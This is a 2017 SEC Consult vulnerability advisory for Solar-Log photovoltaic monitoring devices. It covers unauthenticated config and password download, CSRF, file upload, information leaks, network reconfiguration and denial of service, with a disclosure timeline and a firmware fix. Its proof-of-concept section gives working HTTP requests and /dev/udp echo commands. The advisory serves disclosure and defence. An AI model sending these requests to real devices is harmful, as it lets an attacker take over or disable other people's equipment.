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SEC Consult Vulnerability Lab Security Advisory < 20170322-0 > ======================================================================= title: Multiple vulnerabilities product: Solare Datensysteme GmbH Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000 vulnerable version: Firmware 2.8.4-56 / 3.5.2-85 fixed version: Firmware 3.5.3-86 CVE number: - impact: Critical homepage: http://www.solar-log.com/de/home.html found: 2017-01-23 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Solare Datensysteme GmbH (SDS) is headquartered in the southern German city of Binsdorf and specialises in the development and sale of monitoring systems for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and Jörg Karwath and was created from the company "TOP Solare Datensysteme". This company had been developing and selling the "SolarLog™" product range since 2005. Our core competence covers innovative products with short development cycles and an excellent cost/performance ratio. Our developments have the outstanding characteristics of high customer value, simple operation and universal application without requiring time-consuming installation of software." Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html Business recommendation: ------------------------ SEC Consult recommends to immediately install the available firmware update and restrict network access. Furthermore, this device should not be used in production until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Download of Configuration including Device-Password This vulnerability is present at least on firmware 2.8.4-56. An attacker can download the configuration file without authentication and extract the password to login to Solar-Log. Therefore, an attacker can gain administrative access to such a device without prior authentication. 2) Cross-Site Request Forgery (CSRF) This vulnerability is present at least on firmware 3.5.2-85. A CSRF vulnerability enables an attacker to remove/modify a password of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability. 3) Unauthenticated Arbitrary File Upload This vulnerability is present at least on firmware 3.5.2-85. Any files can be uploaded on the Solar-Log by using a crafted POST request. An attacker can start a malicious website or use the Solar-Log as share to store any (illegal) contents. 4) Information Disclosure (CVE-2001-1341) All Solar-Log devices in the current firmware versions are prone to this information disclosure vulnerability. (2.8.4-56 / 3.5.2-85) The network configuration of the internal network including the gateway and the MAC address of the device are leaked. All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS version and serial number are leaked as well. 5) Unauthenticated Change of Network-Configuration All Solar-Log devices in the current firmware versions are prone to this vulnerability. (2.8.4-56 / 3.5.2-85) Since the Solar-Log is based on the chips of Beck IPC a UDP configuration server is enabled by default. This server allows to change the IP configuration over a specific UDP port. This functionality can be protected with a password, but this is not set in the affected firmware versions. The MAC address, which is leaked by 4), is needed to configure the device. An attacker can reconfigure the device without any authentication. 6) Unauthenticated Denial of Service All Solar-Log devices in the current firmware versions are prone to this vulnerability. (2.8.4-56 / 3.5.2-85) The Beck IPC UDP configuration server on Solar-Log device can be attacked with arbitrary UDP packets to permanently disable the Solar-Log until a manual reboot is triggered. 7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory Potentially available in all Solar-Log devices in the current firmware versions. (2.8.4-56 / 3.5.2-85) Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip over the network via UDP, a missing password can also enable an attacker to do this on a Solar-Log device. This action can lead to a simple Denial of Service or a complex botnet of Solar-Log devices! Proof of concept: ----------------- 1) Unauthenticated Download of Configuration including Device-Password The full configuration is exposed by sending the following GET-request: ------------------------------------------------------------------------------- GET /data/misc.dat HTTP/1.1 Host: <IP-Address> [...] ------------------------------------------------------------------------------- Since the response contains the password, an attacker can easily take control over the device. 2) Cross-Site Request Forgery By luring the user to issue the following request, the password is removed: ------------------------------------------------------------------------------- POST /setjp HTTP/1.1 Host: <IP-Address> preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"} ------------------------------------------------------------------------------- By luring the user to issue the following request, the password is modified: ------------------------------------------------------------------------------- POST /setjp HTTP/1.1 Host: <IP-Address> preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"} ------------------------------------------------------------------------------- 3) Unauthenticated Arbitrary File Upload Any files can be uploaded by using the following POST-request: ------------------------------------------------------------------------------- POST /menu/d_debug_db.html HTTP/1.1 Host: <IP-Address> [...] Referer: http://<IP-Address>/menu/d_debug_db.html Content-Type: multipart/form-data; boundary=--------301473270 Content-Length: 341 ----------301473270 Content-Disposition: form-data; name="DESTINATION-PATH" PoC.html ----------301473270 Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt" Content-Type: text/plain <html> <head> <title>SEC-Test</title> </head> <body> <script>alert("XSS-PoC");</script> </body> </html> ----------301473270 Content-Disposition: form-data; name="L_UPLOAD" Hochladen ----------301473270-- ------------------------------------------------------------------------------- The uploaded content can be reached by this link: http://<IP-Address>/PoC.html 4) Information Disclosure (CVE-2001-1341) This vulnerability is a known issue to IPC@CHIP since 2001. See: https://www.securityfocus.com/bid/2767/info The following URL can be used to open the "ChipCfg" file on a Solar-Log device: http://<IP-Address>/ChipCfg If an attacker is in the same subnet, he can directly request this information from the device (the device responds to multicast) with the following command: $ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001 5) Unauthenticated Change of Network-Configuration By using the following command a change of the network configuration can be triggerd unauthenticated on UDP port 8001: $ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>" >/dev/udp/<Target-IP>/8001 Example: $ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254" >/dev/udp/192.168.4.9/8001 6) Unauthenticated Denial of Service By using arbitrary null characters the IPC@CHIP can be pushed into an undesired state: $ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0" >/dev/udp/<Target-IP>/8001 Example: $ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0" >/dev/udp/192.168.4.5/8001 7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory This action was not tested against the device. Such attack can brick the Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability. A network-dump of the "CHIPTOOL" would be enough to reconstruct the required UDP packets for the attack. Vulnerable / tested versions: ----------------------------- Solar-Log 1200 - 3.5.2-85 Solar-Log 800e - 2.8.4-56 Since the firmware for the other Solar-Log devices is exactly the same, other devices with the same versions are also prone to the vulnerabilities! Vendor contact timeline: ------------------------ 2017-02-02: Contacting vendor via info@solar-log.com, support@solar-log.com and berlin@solar-log.com. 2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the advisory unencrypted to the vendor. 2017-02-20: Asked for an update. 2017-02-21: Vendor states that the patch is in development. The update will be published before 2017-03-24. 2017-03-14: Asked for a status update. Vendor states that the update will be available on 2017-03-21. 2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build 86 for all affected Solar-Log devices. Informing the vendor that the release of the advisory is set to 2017-03-22. 2017-03-22: Public advisory release. Solution: --------- Upgrade to firmware 3.5.3-86 http://www.solar-log.com/de/service-support/downloads/firmware.html Workaround: ----------- Restrict network access to the devices. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2017 |
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